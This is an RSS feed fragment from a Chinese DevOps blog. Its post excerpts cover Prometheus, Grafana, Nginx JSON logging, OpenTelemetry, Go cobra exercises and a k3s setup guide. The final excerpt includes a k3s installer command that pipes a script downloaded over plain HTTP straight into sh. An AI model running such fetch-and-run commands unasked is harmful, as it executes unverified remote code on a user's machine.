Prometheus 开启控制面板 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/06/06/aliyun-prometheus-dashboard/ 怎么说呢？ 阿里云的针对其产品集成了 Prometheus 服务采集监控， 带来了很多方便。 但是并没有开放控制面板， 在分析的时候， 还是很不方便的。 本文就使用 Prometheus 的 Remote Read 特性， 在本地打开 控制面板。 1. 获取公网地</description></item><item><title>Grafana 添加 Aliyun SLS 数据源并展示图表</title><link>https://typonotes.com/posts/2023/05/18/grafana-add-aliyun-sls-source/</link><pubDate>Thu, 18 May 2023 14:52:50 +0800</pubDate><guid>https://typonotes.com/posts/2023/05/18/grafana-add-aliyun-sls-source/</guid><description>Grafana 添加 Aliyun SLS 数据源并展示图表 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/05/18/grafana-add-aliyun-sls-source/ 采集完成日志后， 有了原始数据， 就可以开始分析了。 1. Grafana 配置 Aliyun SLS 作为数据源 Aliyun SLS 服务是阿里云提供的日志服务， 类似于 ELK 一整套。 Aliyun SLS 并不是 Grafana 默认的数据源， 因此自建 Grafana 需要到 Github 去下</description></item><item><title>Opentelemetry(4): Nginx 添加 Opentelemetry 支持</title><link>https://typonotes.com/posts/2023/05/09/nginx-add-opentelemetry-support/</link><pubDate>Tue, 09 May 2023 17:01:22 +0800</pubDate><guid>https://typonotes.com/posts/2023/05/09/nginx-add-opentelemetry-support/</guid><description>Opentelemetry(4): Nginx 添加 Opentelemetry 支持 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/05/09/nginx-add-opentelemetry-support/ 关于 Nginx 添加 OpenTelemetry 支持， 官方有两种推荐： 在 Nginx Ingress Controller 第三方插件 OpenTelemetry 推荐 otel_ngx_module.so 在 OpenTelemetry 官网 中， 推荐 opentelemetry-webserver-sdk-x64-linux， 这是一种扩展性更强和跟踪功</description></item><item><title>Aliyun Logtail 收集 JSON 格式日志</title><link>https://typonotes.com/posts/2023/05/08/aliyun-logtail-collect-json-format-logs/</link><pubDate>Mon, 08 May 2023 16:54:22 +0800</pubDate><guid>https://typonotes.com/posts/2023/05/08/aliyun-logtail-collect-json-format-logs/</guid><description>Aliyun Logtail 收集 JSON 格式日志 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/05/08/aliyun-logtail-collect-json-format-logs/ 本文针对性比较强， 仅仅适用于 Aliyun Logtail 配置。 在使用 Aliyun K8S 集群后， 可以安装 Logtail 服务进行日志收集。 默认文档中， 阿里云官方提供的是 正则模式 的采集方式 采集 Nginx Ingress Controller 日志 。 将日志改成 JSON 格式之后， 可以</description></item><item><title>Nginx 和 Nginx-Ingress-Controller 配置 JSON 日志格式</title><link>https://typonotes.com/posts/2023/05/08/nginx-log-json-format/</link><pubDate>Mon, 08 May 2023 09:34:49 +0800</pubDate><guid>https://typonotes.com/posts/2023/05/08/nginx-log-json-format/</guid><description>Nginx 和 Nginx-Ingress-Controller 配置 JSON 日志格式 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/05/08/nginx-log-format/ Nginx 注意: 列表中的字段仅仅是 Demo ，根据自己实际需求进行增删。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { &amp;#34;time&amp;#34;: &amp;#34;$time_iso8601&amp;#34;, &amp;#34;remote_addr&amp;#34;: &amp;#34;$remote_addr&amp;#34;, &amp;#34;remote_user&amp;#34;: &amp;#34;$remote_user&amp;#34;, &amp;#34;request_method&amp;#34;: &amp;#34;$request_method&amp;#34;, &amp;#34;host&amp;#34;: &amp;#34;$host&amp;#34;, &amp;#34;request_uri&amp;#34;: &amp;#34;$request_uri&amp;#34;, &amp;#34;status&amp;#34;: &amp;#34;$status&amp;#34;, &amp;#34;request_time&amp;#34;: &amp;#34;$request_time&amp;#34;, &amp;#34;cost&amp;#34;: &amp;#34;$request_time&amp;#34;, &amp;#34;body_bytes_sent&amp;#34;: &amp;#34;$body_bytes_sent&amp;#34;, &amp;#34;http_referer&amp;#34;: &amp;#34;$http_referer&amp;#34;, &amp;#34;http_user_agent&amp;#34;: &amp;#34;$http_user_agent&amp;#34;, &amp;#34;request_length&amp;#34;: &amp;#34;$request_length&amp;#34;, &amp;#34;upstream_addr&amp;#34;: &amp;#34;$upstream_addr&amp;#34;, &amp;#34;upstream_response_length&amp;#34;: &amp;#34;$upstream_response_length&amp;#34;, &amp;#34;upstream_response_time&amp;#34;: &amp;#34;$upstream_response_time&amp;#34;, &amp;#34;upstream_status&amp;#34;: &amp;#34;$upstream_status&amp;#34;, &amp;#34;opentelemetry_context_traceparent&amp;#34;:&amp;#34;$opentelemetry_context_traceparent&amp;#34;,</description></item><item><title>Panda Tech Sharing 04 Some Ci Practise</title><link>https://typonotes.com/posts/2023/04/23/panda-tech-sharing-04-some-ci-practise/</link><pubDate>Sun, 23 Apr 2023 17:18:27 +0800</pubDate><guid>https://typonotes.com/posts/2023/04/23/panda-tech-sharing-04-some-ci-practise/</guid><description>Panda Tech Sharing 04 Some Ci Practise 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/04/23/panda-tech-sharing-04-some-ci-practise/ 关于本期主题 老麦， 一个老运维。 今天我给大家分享一下， 在日常工作中遇到的问的最终的两个 关于 CI 的两个话题。 选择 CI 工具的共性减少重复工作。 不同语言项目容器化的时的优化。 希望对各位有所帮</description></item><item><title>Panda Tech Sharing 03: 收藏等于学会？ 不！ 输出倒逼输入</title><link>https://typonotes.com/posts/2023/04/16/panda-tech-sharing-03-writing-for-studing/</link><pubDate>Sun, 16 Apr 2023 07:59:12 +0800</pubDate><guid>https://typonotes.com/posts/2023/04/16/panda-tech-sharing-03-writing-for-studing/</guid><description>Panda Tech Sharing: 收藏等于学会？ 不！ 输出倒逼输入 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/04/16/panda-tech-sharing-03-writing-for-studing/ 关于本期主题 王子良（慕斯才）， 多年业务开发， 有丰富的高并发，分布式场景的实战经验。 现在花椒直播任职后端开发工程师。 开发语言涉及Java，PHP，go。 今天我</description></item><item><title>Panda Tech Sharing 02 Lvs</title><link>https://typonotes.com/posts/2023/04/09/panda-tech-sharing-02-lvs/</link><pubDate>Sun, 09 Apr 2023 09:06:26 +0800</pubDate><guid>https://typonotes.com/posts/2023/04/09/panda-tech-sharing-02-lvs/</guid><description>Panda Tech Sharing 02 Lvs 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/04/09/panda-tech-sharing-02-lvs/ 关于本期主题 王子良（慕斯才）， 多年业务开发， 有丰富的高并发，分布式场景的实战经验。 现在花椒直播任职后端开发工程师。 开发语言涉及Java，PHP，go。 今天我们有幸邀请到王老师， 从后端</description></item><item><title>如果你还搞不懂 Docker In Docker（DinD） 模式下的资源管理， 不妨看看这篇文章</title><link>https://typonotes.com/posts/2023/04/04/docker-dind-mode-introduce/</link><pubDate>Tue, 04 Apr 2023 16:29:06 +0800</pubDate><guid>https://typonotes.com/posts/2023/04/04/docker-dind-mode-introduce/</guid><description>如果你还搞不懂 Docker In Docker（DinD） 模式下的资源管理， 不妨看看这篇文章 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/04/04/docker-dind-mode-introduce/ 今天遇到了一个群友关于 Docker DinD 的问题。 有人熟悉docker in docker么 请教个问题, 我现在在docker-1里面挂载了</description></item><item><title>Panda Tech Sharing 01</title><link>https://typonotes.com/posts/2023/03/31/panda-tech-sharing-01/</link><pubDate>Fri, 31 Mar 2023 09:32:47 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/31/panda-tech-sharing-01/</guid><description>《Panda Tech Sharing》 云原生 从业者 转型的最后一公里 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/31/panda-tech-sharing-01/ 关于本期主题 曾朝俊， 网名 浮生未歇。 之前云原生相关的一名技术人员， 现在某 某私有云 任职 云原生解决方案架构师。 在本期内容中， 曾老师从自身经历</description></item><item><title>K8s Ingress Questions</title><link>https://typonotes.com/posts/2023/03/28/k8s-ingress-questions/</link><pubDate>Tue, 28 Mar 2023 15:49:09 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/28/k8s-ingress-questions/</guid><description>K8s Ingress Questions 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/28/k8s-ingress-questions/ 1. 常说的 Ingress 值的是什么。 首先拉平一个认识。 常说的 Ingress 是 Ingress Rules。 但 Ingerss 实际上是由 Ingress Rules 和 Ingress Controller 的组合而成的。 在使用上， K8S 通过 Rules 的管理， 隐藏 Controller。 目前 k8s 官方维护的 控制器（Cont</description></item><item><title>Linux Command Grep</title><link>https://typonotes.com/posts/2023/03/27/linux-command-grep/</link><pubDate>Mon, 27 Mar 2023 15:42:05 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/27/linux-command-grep/</guid><description>grep 命令的常用技巧 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/27/linux-command-grep/ 在Linux和Unix操作系统中，grep是一种在文本文件中搜索字符串的命令行工具。以下是grep命令的一些常用技巧： 基本用法：在命令行中输入 grep 关键词 文件名 即可搜索包含该关键词</description></item><item><title>被坑惨了！！ 使用 ConfigMap 管理配置， 扩容导致配置不一致。</title><link>https://typonotes.com/posts/2023/03/24/k8s-scale-issue-with-configmap/</link><pubDate>Fri, 24 Mar 2023 16:39:00 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/24/k8s-scale-issue-with-configmap/</guid><description>被坑惨了！！ 使用 ConfigMap 管理配置， Deployment 扩容引发配置不一致的惨案！ 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/24/k8s-scale-issue-with-configmap/ 首先声明， 不是我！ 是一个朋友。 背景是这样的， 一个朋友给我说他遇到了一个情况。 Kubernetes Deployment 扩容后， 应用异常。 从请求结果来看， 应用在两种配置之间飘忽</description></item><item><title>Kubectl OpenAI插件</title><link>https://typonotes.com/posts/2023/03/23/kubectl-ai-plugin/</link><pubDate>Thu, 23 Mar 2023 00:22:23 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/23/kubectl-ai-plugin/</guid><description>Kubectl OpenAI插件 ✨ 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/23/kubectl-ai-plugin/ 该项目是一个kubectl插件，使用OpenAI GPT生成和应用Kubernetes清单。 我的主要动机是避免在开发/测试时找到和收集随机清单。 下载地址 官方首页: https://github.com/sozercan/kubectl-ai 用法 先决条</description></item><item><title>Linux find 命令这些使用小技巧你都知道吗？</title><link>https://typonotes.com/posts/2023/03/22/linux-command-find/</link><pubDate>Wed, 22 Mar 2023 22:13:28 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/22/linux-command-find/</guid><description>Linux find 命令这些使用小技巧你都知道吗？ 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/22/linux-command-find/ find 命令的基本使用 在Linux中，find命令可以用来查找文件和目录。下面是一些使用find命令的技巧: 查找指定目录下的文件: find /path/to/directory -type f 查找指定目录下的目录: find /path/to/directory</description></item><item><title>云原生: 为开发朋友解答的 100 个问题</title><link>https://typonotes.com/posts/2023/03/22/docker-100-questions-for-developers/</link><pubDate>Wed, 22 Mar 2023 11:01:51 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/22/docker-100-questions-for-developers/</guid><description>云原生: 为开发朋友解答的 100 个问题 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/22/docker-100-questions-for-developers/ 1. 镜像与服务 1.1. 容器内服务监听地址 0.0.0.0 用 0.0.0.0 是最省事的方法。 如果不嫌弃麻烦， 程序可以自己获取网卡地址 监听本地IP。 通常在开发的时候， 在本地调试喜欢用 127.0.0.1</description></item><item><title>Golang Reflect Interface Deeopcopy</title><link>https://typonotes.com/posts/2023/03/20/golang-reflect-interface-deeopcopy/</link><pubDate>Mon, 20 Mar 2023 23:09:55 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/20/golang-reflect-interface-deeopcopy/</guid><description>「Golang反射实战2」 使用 接口(interface) 实现 深拷贝(deepcopy) 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/20/golang-reflect-interface-deeopcopy/ interface 接口 deepcopy 的实现 对于 接口 interface{} 就稍微麻烦一点了。 由于 接口 是一组方法的集合， 也就意味着 接口的 底层结构体 是不定的。 无</description></item><item><title>Docker 连夜发文 将强制清理免费组织账号， 是收割还是真穷？</title><link>https://typonotes.com/posts/2023/03/16/docker-sunset-free-team-organizations/</link><pubDate>Thu, 16 Mar 2023 22:22:47 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/16/docker-sunset-free-team-organizations/</guid><description>Docker 连夜发文称强制清理免费组织， 是收割还是真穷？ 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/16/docker-sunset-free-team-organizations/ 2023年3月15日凌晨（真会选时间）， Docker 发布了一封邮件 Docker正在淘汰免费组织（Docker is sunsetting Free Team organizations）。 邮件中指出</description></item><item><title>Golang Context 值传递的生产案例(01): 链路追踪</title><link>https://typonotes.com/posts/2023/03/15/golang-context-in-action-trace/</link><pubDate>Wed, 15 Mar 2023 22:14:40 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/15/golang-context-in-action-trace/</guid><description>Golang Context 生产应用案例(01): 链路追踪 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/15/golang-context-in-action-trace/ 看完本文 了解 链路追踪 和 OpenTelemetry 相关知识 了解 Context 值传递是如何在 链路追踪 的发展历程上登台亮相的。 之前在 Golang 上下文 Context 源码解析(1): 值传递 文章中举了一个例子说明讲解 Context 的值传递</description></item><item><title>「建议收藏」 十篇文章带你 Golang Cobra 入门到实战（含源码讲解）</title><link>https://typonotes.com/posts/2023/03/02/cobra-book/</link><pubDate>Thu, 02 Mar 2023 21:17:06 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/02/cobra-book/</guid><description>「建议收藏」 十篇文章带你 Golang Cobra 入门到实战（含源码讲解） 大家好， 我是老麦。 一头专注 Golang 和 K8s 的胖熊猫。 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/02/cobra-book/ Cobra 知识点讲解 时间不知不觉到了 3 月， 我们的 DevOpsCamp 也到了 第4期。 在前面的内容中， 我尝试通过将 cobra 拆解成一个个</description></item><item><title>Golang Context 简介和入门使用(1): 值传递</title><link>https://typonotes.com/posts/2023/03/01/devopscamp-context-sample/</link><pubDate>Wed, 01 Mar 2023 08:13:00 +0800</pubDate><guid>https://typonotes.com/posts/2023/03/01/devopscamp-context-sample/</guid><description>Golang 上下文 Context 源码解析(1): 值传递 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/03/01/devopscamp-context-sample/ 上下文 Context 应该是 Go语言 中一个极其重要的 基石 概念了。 本文将通过一个案例 着重 说明 值传递 的过程、用法和注意事项。 本文会通过 案例分析， 扩展到 源码讲解、使用方式 等多方面进</description></item><item><title>Golang 接口(interface) 简介和入门使用</title><link>https://typonotes.com/posts/2023/02/28/devopscamp-interface-sample/</link><pubDate>Tue, 28 Feb 2023 15:47:15 +0800</pubDate><guid>https://typonotes.com/posts/2023/02/28/devopscamp-interface-sample/</guid><description>Golang 接口(interface) 简介和入门使用 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/02/28/devopscamp-interface-sample/ 上下文 interface 应该是 Go语言 中一个极其重要的 基石 概念了。 这里有一篇 Go 语言设计与实现 - 接口 interface ， 是目前我学习的资料中 完成度 和 友善度 都很高的一篇文章。 在 go v1.18 中， interface</description></item><item><title>Linux 工具命令(04): envsubst2 一个比 envsubst 更省心的配置渲染工具</title><link>https://typonotes.com/posts/2023/02/22/envsubst2-usage/</link><pubDate>Wed, 22 Feb 2023 17:52:41 +0800</pubDate><guid>https://typonotes.com/posts/2023/02/22/envsubst2-usage/</guid><description>Linux 工具命令(04): envsubst2 一个比 envsubst 更省心的配置渲染工具 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/02/22/envsubst2-usage/ 对于配置文件的渲染， 通常我们会使用 envsubst。 这个工具基本上在 Linux 各个发行版上都可以通过官方源进行安装。 安装 1 2 3 4 5 # alpine $ apk add --no-cache gettext # ubuntu $</description></item><item><title>Linux 工具命令(03): 使用 envsubst 渲染配置文件</title><link>https://typonotes.com/posts/2023/02/22/envsubst-usage/</link><pubDate>Wed, 22 Feb 2023 17:24:21 +0800</pubDate><guid>https://typonotes.com/posts/2023/02/22/envsubst-usage/</guid><description>Linux 工具命令(03): 使用 envsubst 渲染配置文件 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/02/22/envsubst-usage/ envsubst 替换 shell 字符串或脚本中的环境变量。 这个一个非常有用的命令， 在 nginx 容器镜像中， 就使用了这个命令进行了 启动文件的初始化 。 在日常工作中， 也常常用来渲染 环境变量 到配</description></item><item><title>Duzikai Outsources</title><link>https://typonotes.com/posts/2023/02/20/duzikai-outsources/</link><pubDate>Mon, 20 Feb 2023 18:09:22 +0800</pubDate><guid>https://typonotes.com/posts/2023/02/20/duzikai-outsources/</guid><description>程序员靠谱的接私活平台 原文链接: https://typonotes.com/posts/2023/02/20/duzikai-outsources/ 先说说我对接私活的看法 关于程序员接私活， 不同的人有不同的看法。 增加收入的方法有两种 单价不变的情况下， 增加工作时间。 俗称加班。 工作时间不变的情况下， 增加单价。 俗称涨薪。 就我个人而言， 这个最好只是一个 副业。 接私活， 在我看来就是 给钱的加班， 说起来多多少</description></item><item><title>DevOpsCamp第2期：从 《cobra - 06 持久化命令》 开始聊聊 Go语言 指针类型的使用注意事项</title><link>https://typonotes.com/posts/2023/02/19/devopscamp-cobra-06-persistent-run-and-flags/</link><pubDate>Sun, 19 Feb 2023 22:16:24 +0800</pubDate><guid>https://typonotes.com/posts/2023/02/19/devopscamp-cobra-06-persistent-run-and-flags/</guid><description>DevOpsCamp第2期：从 《cobra - 06 持久化命令》 开始聊聊 Go语言 指针类型的使用注意事项 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/02/19/devopscamp-cobra-06-persistent-run-and-flags/ 嗯， 在 cobra 中提供了一种叫做 Persistent 的 状态， 定向支持 函数 与 参数。 下面这段代码是是使用时的定义。 1 2 3 4 5 6</description></item><item><title>DevopsCamp 第 2 期作业: 《cobra - 04 Go 项目的目录结构》</title><link>https://typonotes.com/posts/2023/02/13/devopscamp-cobra-05-layout/</link><pubDate>Mon, 13 Feb 2023 12:41:36 +0800</pubDate><guid>https://typonotes.com/posts/2023/02/13/devopscamp-cobra-05-layout/</guid><description>DevopsCamp 第 2 期作业: 《cobra - 04 Go 项目的目录结构》 原文链接: https://typonotes.com/posts/2023/02/13/devopscamp-cobra-05-layout/ Go 项目的目录结构 Go 项目的目录结构， 通常都会参考该项目 Go语言规范/项目结构 - Github 。 这是一个社区规范， 遵守这个规范， 大家都会很轻松。 但并不是严格的 Go 语言标准， 实际操作中各个公司可能会有自己的标准。 另外， 在上述的 Github 仓库中可以看</description></item><item><title>DevopsCamp 第 2 期作业: 《cobra - 05 Cobra 的子命令》 简单说下 cobra 命令树和 gin 路由树的实现差异</title><link>https://typonotes.com/posts/2023/02/14/devopscamp-cobra-05-subcommand/</link><pubDate>Mon, 13 Feb 2023 12:41:36 +0800</pubDate><guid>https://typonotes.com/posts/2023/02/14/devopscamp-cobra-05-subcommand/</guid><description>DevopsCamp 第 2 期作业: 《cobra - 05 Cobra 的子命令》 简单说下 cobra 命令树和 gin 路由树的实现差异 原文链接: https://typonotes.com/posts/2023/02/14/devopscamp-cobra-05-subcommand/ cobra 的子命令 在 cobra 中， 每个 命令 都是独立的。 通过 parent.AddCommand(children) 的形式进行串连。 1 2 3 4 5 6 7 var root = &amp;amp;cobra.Command{} var child = &amp;amp;cobra.Command{} func init() { root.AddCommand(child) } 没了， 应用上就这么多。 cobra 命令树 如果你用过 gin 的路由树的话， 可能会对 cobra 的命令树实现更为深刻。 删</description></item><item><title>把 ChatGPT 调教成了情诗王子</title><link>https://typonotes.com/posts/2023/02/09/chatgpt-write-poem/</link><pubDate>Thu, 09 Feb 2023 07:40:18 +0800</pubDate><guid>https://typonotes.com/posts/2023/02/09/chatgpt-write-poem/</guid><description>为你们把 ChatGPT 调教成了情诗王子 原文链接: https://tangx.in/posts/2023/02/09/chatgpt-write-poem/ 2月14日 直男处刑日快到了， 光 送礼物 差点意思。 如果能在 送礼物 的同时， 来上这么一段小情诗， 礼物的附加价值瞬间翻倍。（重点我已经加粗了） 为了让这个附加价值有够浪漫 ， 我帮你们把 ChatGPT 调教成了 情(zhong)诗(yang)王(kong)子(tiao) 不过</description></item><item><title>从 git 历史中删除文件</title><link>https://typonotes.com/posts/2023/02/06/remove-files-from-git-history/</link><pubDate>Mon, 06 Feb 2023 21:03:27 +0800</pubDate><guid>https://typonotes.com/posts/2023/02/06/remove-files-from-git-history/</guid><description>Remove Files From Git History 原文链接: https://typonotes.com/posts/2023/02/06/remove-files-from-git-history/ github 官方推荐使用 bfg 进行操作， 比使用 git filter-branch 更快， 更方便 查询文件 $ git rev-list --all | xargs -rL1 git ls-tree -r --long | sort -uk3 | sort -rnk4 | head -10 https://blog.csdn.net/HappyRocking/article/details/89313501 删除文件 1 $ bfg --delete-files id_{dsa,rsa} my-repo.git https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository https://rtyley.github.io/bfg-repo-cleaner/</description></item><item><title>《别像弱智一样提问》 300 fork 700 star - 没想到大家都讨厌巨婴提问</title><link>https://typonotes.com/posts/2023/01/28/stop-ask-questions-the-stupid-ways/</link><pubDate>Sat, 28 Jan 2023 21:13:28 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/28/stop-ask-questions-the-stupid-ways/</guid><description>《别像弱智一样提问》 300 fork 700 star - 没想到大家都讨厌巨婴提问 原文链接: https://tangx.in/posts/2023/01/28/stop-ask-questions-the-stupid-ways/ 《Stop-Ask-Questions-The-Stupid-Ways》 这是我 6 年前被同事折磨的不行的时候创建的一个发泄仓库， 没想到竟然得到了这么多朋友的认可。 6 年间没有做过任何推广， 竟然得到了接近 300 fork 700 star Github 地址:</description></item><item><title>「Golang 反射实战」 - 我用 Golang 反射写了一个配置库 - envutils ， 应用再也不会少变量了</title><link>https://typonotes.com/posts/2023/01/27/golang-envutils-config/</link><pubDate>Fri, 27 Jan 2023 09:08:25 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/27/golang-envutils-config/</guid><description>「Golang 反射实战」 - 我用 Golang 反射写了一个配置库 - envutils ， 应用再也不会少变量了 原文链接: https://tangx.in/posts/2023/01/27/golang-envutils-config/ 用习惯了 struct 之后， 我想所有东西都通过 struct 管理。 学习了反射之后， 我总要找点事情做来练习。 于是我整合了 Golang环境变量操作 和 Golang反射， 以及解决了我认为的其他一些配置管理的痛点， 便有了这个项</description></item><item><title>DevopsCamp 第一期作业: 《cobra - 03 交互式命令（简单）》 解题答案</title><link>https://typonotes.com/posts/2023/01/26/devopscamp-cobra-interactive-survey/</link><pubDate>Thu, 26 Jan 2023 17:03:54 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/26/devopscamp-cobra-interactive-survey/</guid><description>DevopsCamp 第一期作业: 《cobra - 03 交互式命令（简单）》 解题答案 原文链接: https://tangx.in/posts/2023/01/26/devopscamp-cobra-interactive-survey/ 本文为 DevOpsCamp 实战训练作业 cobra - 03 配置文件的读取与写入（简单） 的解题答案 DevoOpsCamp 作业地址： https://www.devopscamp.cc/semi-plan-202301-2/posts/homework/cobra03/ 作业: cobra - 03 交互式命令 要求: 使用 https://github.com/spf13/cobra 实现命令工具 使用 https://github.com/go-survey/survey 实现交互式命令 实现 Demo 效果 除了官方效果之外， 我还发现了 aliyun 命令行工具在配置账户的时候</description></item><item><title>DevopsCamp 第一期作业: 《cobra - 02 配置文件的读取与写入（简单）》 解题答案</title><link>https://typonotes.com/posts/2023/01/24/devopscamp-cobra-binding-config-file/</link><pubDate>Tue, 24 Jan 2023 10:54:55 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/24/devopscamp-cobra-binding-config-file/</guid><description>DevopsCamp 第一期作业: 《cobra - 02 配置文件的读取与写入（简单）》 解题答案 原文链接: https://tangx.in/posts/2023/01/24/devopscamp-cobra-binding-config-file/ 本文为 DevOpsCamp 实战训练作业 cobra - 02 配置文件的读取与写入（简单） 的解题答案 DevoOpsCamp 作业地址： https://www.devopscamp.cc/semi-plan-202301-2/posts/homework/cobra02/ 作业要求 使用 https://github.com/spf13/cobra 实现命令工具 命令具有以下参数 --config , -c 配置文件 配置文件如下 1 2 3 # config.yml name: zhangsan age: 20 将配置文件保存为 JSON 格式 1 $ cat config.json 输出结</description></item><item><title>DevopsCamp 第一期作业: 《cobra - 01 实现编译与参数绑定（简单）》 解题答案</title><link>https://typonotes.com/posts/2023/01/23/devopscamp-cobra01/</link><pubDate>Mon, 23 Jan 2023 11:09:53 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/23/devopscamp-cobra01/</guid><description>DevopsCamp 第一期作业: 《cobra - 01 实现编译与参数绑定（简单）》 解题答案 原文链接: https://tangx.in/posts/2023/01/23/devopscamp-cobra01/ 本文为 DevOpsCamp 实战训练的作业解题答案 作业: cobra - 01 实现编译与参数绑定。 DevOpsCamp作业地址: https://www.devopscamp.cc/semi-plan-202301-2/posts/homework/cobra01/ 作业要求: 使用 https://github.com/spf13/cobra 实现命令工具 命令具有以下参数 --name 姓名 --age 年龄 如果年龄为空， 默认为 20 岁。 完成交叉编译脚本， 编译其他</description></item><item><title>DevOpsCamp 《初一十五计划》 第一期</title><link>https://typonotes.com/posts/2023/01/14/devopscamp-semimonthly-plan-202301-2/</link><pubDate>Sat, 14 Jan 2023 19:28:45 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/14/devopscamp-semimonthly-plan-202301-2/</guid><description>DevOpsCamp 《初一十五计划》 第一期 原文链接: https://tangx.in/posts/2023/01/14/devopscamp-semimonthly-plan-202301-2/ 《初一十五计划 202301-2》 第一期 作业地址 本地主题 cobra, 英语 cobra - 01 实现编译与参数绑定 cobra - 02 读取配置配置文件 cobra - 03 交互式命令 阅读并翻译 《Dockerfile 最佳实践》 cobra 是 golang 中非常流行的命令行库， 熟练掌握事半功倍。 英语重要性就不多说了，搞技术必须强</description></item><item><title>知识星球「运维之路」免费指导与帮助 - 试运营到 2023/12/31</title><link>https://typonotes.com/posts/2023/01/12/zsxq-devops-camp/</link><pubDate>Thu, 12 Jan 2023 08:03:09 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/12/zsxq-devops-camp/</guid><description>知识星球「运维之路」免费答疑 - 试运营到 2023/12/31 原文链接: https://tangx.in/posts/2023/01/12/zsxq-devops-camp/ 说公益也好、说免费也罢。 反正这一个不收费的知识星球。 这个星球的主题 「运维之路」指导与帮助。 为什么要搞这个星球 前段时间看到一部视频解说， 讲的是一个大学生到西藏支教的故事， 片面叫《藏草青青》， 有兴趣的可以看看。 让我想起了年轻的时候也</description></item><item><title>开发 k8s 管理平台 - k8sailor - 01. 使用 k3s 快速搭建项目环境</title><link>https://typonotes.com/posts/books/k8sailor/chapter01/01-install-k3s-cluster/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter01/01-install-k3s-cluster/</guid><description>开发 k8s 管理平台 - k8sailor - 01. 使用 k3s 快速搭建项目环境 原文地址: https://tangx.in/posts/books/k8sailor/chapter01/01-install-k3s-cluster/ 安装 k3s 安装过程参考 https://tangx.in/2021/06/07/k3s-architecture-single-server/ k3s 集群版本为 v1.21.4。 因此 k8s client-go sdk 的版本也需要安装对应版本 1 2 3 4 5 6 7 8 9 10 11 # curl -sfL http://rancher-mirror.cnrancher.com/k3s/k3s-install.sh | INSTALL_K3S_MIRROR=cn sh - [INFO] Finding release for channel stable [INFO] Using v1.21.4+k3s1 as release [INFO] Downloading hash http://rancher-mirror.cnrancher.com/k3s/v1.21.4-k3s1/sha256sum-amd64.txt [INFO] Downloading binary http://rancher-mirror.cnrancher.com/k3s/v1.21.4-k3s1/k3s 